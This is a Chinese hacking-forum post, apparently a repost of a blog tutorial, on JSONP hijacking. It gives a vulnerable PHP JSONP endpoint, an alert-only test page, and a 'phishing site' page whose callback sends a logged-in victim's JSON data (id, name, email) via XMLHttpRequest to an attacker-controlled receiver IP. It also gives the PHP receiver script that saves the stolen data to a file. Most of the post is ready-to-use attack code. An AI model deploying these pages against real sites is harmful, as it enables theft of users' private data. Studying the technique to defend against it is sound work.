json劫持漏洞与利用-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

json劫持漏洞与利用

[复制链接]
发表于 2023-2-17 15:40:07 | 显示全部楼层 |阅读模式
https://www.cnblogs.com/EndlessShw/p/15107906.html

1. 定义
  JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
  攻击方法与csrf类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者。

2. 漏洞利用(复现
  靶机的json文件代码:
  1. <?php
  2. header('Content-type: application/json');
  3. $callback = $_GET['callback'];
  4. print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
  5. ?>
复制代码
钓鱼网站的测试代码(只是在钓鱼网站上弹出):
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>jsonp劫持</title>
  6.     <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  7. </head>
  8. <body>
  9. <script>function jsonp2(data){alert(JSON.stringify(data));}</script>
  10. <script src="靶机/json.php?callback=jsonp2"></script>
  11. </body>
  12. </html>
复制代码
钓鱼网站上的劫持代码:
  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8">
  5.         <title></title>
  6.         
  7.         <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
  8. <script>
  9. function test(data){
  10.     //alert(v.name);
  11.     var xmlhttp = new XMLHttpRequest();
  12.     var url = "http://后端接收ip/1.php?file=" + JSON.stringify(data);
  13.     xmlhttp.open("GET",url,true);
  14.     xmlhttp.send();
  15.     }
  16. </script>
  17. <script src="靶机/json.php?callback=test"></script>
  18. </head>
  19.     <body>
  20.     </body>
  21. </html>
复制代码
后端接收的代码(1.php):
  1. <?php
  2. if($_GET['file']){
  3. file_put_contents('json.txt',$_GET['file'])
  4. }
  5. ?>
复制代码




回复

使用道具 举报

 楼主| 发表于 2023-2-17 15:49:25 | 显示全部楼层
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表